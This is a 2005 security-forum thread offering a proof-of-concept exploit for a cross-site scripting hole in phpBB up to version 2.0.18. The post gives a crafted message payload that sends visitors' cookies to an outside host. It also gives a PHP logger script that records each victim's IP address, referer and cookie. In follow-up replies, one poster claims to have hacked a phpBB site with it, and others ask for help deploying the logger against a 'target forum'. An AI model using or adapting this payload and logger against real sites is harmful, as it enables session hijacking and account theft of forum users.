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		IT Security and Insecurity Portal | 
	 
	 
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	2.0.18 Proof | 
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		 Posted: Fri Dec 23, 2005 12:20 am | 
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				| syntax9 |  
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			Topic : phpBB <= 2.0.18 XSS Cookie Disclosure Proof of Concept
 
 
 
     ExploitAlert Id : 193
 
 
 
     Credit : jet
 
 
 
     Date : 22.12.2005 
 
 
  Exploit Code :  
 
 
# SecurityReason Source : 
 
# http://securityreason.com/achievement_securityalert/29
 
# More : http://securityreason.com/achievement
 
/******************************************************************
 
 
phpBB <= 2.0.18 XSS Cookie Disclosure Proof of Concept
 
-- 'the html is on exploit'
 
 
original exploit by: Maksymilian Arciemowicz (cXIb8O3) - 12/16/2005
 
-- http://securityreason.com/securityalert/269/
 
proof of concept by: jet
 
-- http://jet.carbon-4.net/
 
 
develop a pure, lucid mind, not 
 
depending upon sound, flavor,
 
touch, odor, or any quality.
 
- the diamond sutra
 
 
******************************************************************/
 
 
phpbb code:
 
 
<B C=">" ''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));
 
'sss=`i=new/**/Image();i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.s
 
ss=null`style='font-size:0; X="<B ">'</B>
 
 
c.php:
 
 
<?php
 
$cookie = $_GET['c'];
 
$ip = getenv ('REMOTE_ADDR');
 
$date=date("m/d/Y g:i:s a");
 
$referer=getenv ('HTTP_REFERER');
 
$fl = fopen('log.txt', 'a');
 
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
 
fclose($fl);
 
 
?> | 
		 
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		 Posted: Fri Dec 23, 2005 12:22 am | 
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				| syntax9 |  
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			| I can not get it to work myself on 1 site did not try others. If someone does let me know. | 
		 
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		 Posted: Fri Dec 23, 2005 9:42 am | 
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				| super |  
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			its working nicely   one phpBB 2.0.18 site hacked buy me for using this exploit   | 
		 
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		 Posted: Sat Dec 24, 2005 8:45 pm | 
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				| syntax9 |  
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			| finally got this to work on the site i wanted it to. but only pulled my cookie. suggestions? | 
		 
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		 Posted: Sat Dec 31, 2005 1:16 pm | 
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				| WaterBird |  
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			 	  | syntax9 wrote: | 	 		  | finally got this to work on the site i wanted it to. but only pulled my cookie. suggestions? | 	  
 
 
I think forum you wan't to sploit don't have the html tags enabled. | 
		 
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		 Posted: Thu Jan 05, 2006 5:16 am | 
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				| chuan |  
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			newbie here.can teach me how to go about it?   | 
		 
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		 Posted: Sat Jan 07, 2006 10:25 pm | 
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				| rohit507 |  
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			| I am a true PHP newb but i have beeen reading up a little, neway how would i write a cookie.php which will allow me to log multiple cookies and not over write the ones previously logged | 
		 
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		 Posted: Sun Jan 08, 2006 12:45 am | 
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				| syntax9 |  
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			 	  | Code: | 	 		  $fl = fopen('log.txt', 'a');
 
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");  | 	  
 
 
 
opens the file, 
 
then writes to the files. 
 
 
does not produce a new file, just edits the exisiting. 
 
be sure to CHMOD the File 777 so the "target forum" can open and write to it. 
 
 
GL | 
		 
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		 Posted: Sun Jan 08, 2006 4:19 am | 
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				| chuan |  
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			 	  | syntax9 wrote: | 	 		   	  | Code: | 	 		  $fl = fopen('log.txt', 'a');
 
fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");  | 	  
 
 
 
opens the file, 
 
then writes to the files. 
 
 
does not produce a new file, just edits the exisiting. 
 
be sure to CHMOD the File 777 so the "target forum" can open and write to it. 
 
 
GL | 	  
 
 
??
 
where to start?can elaborate? | 
		 
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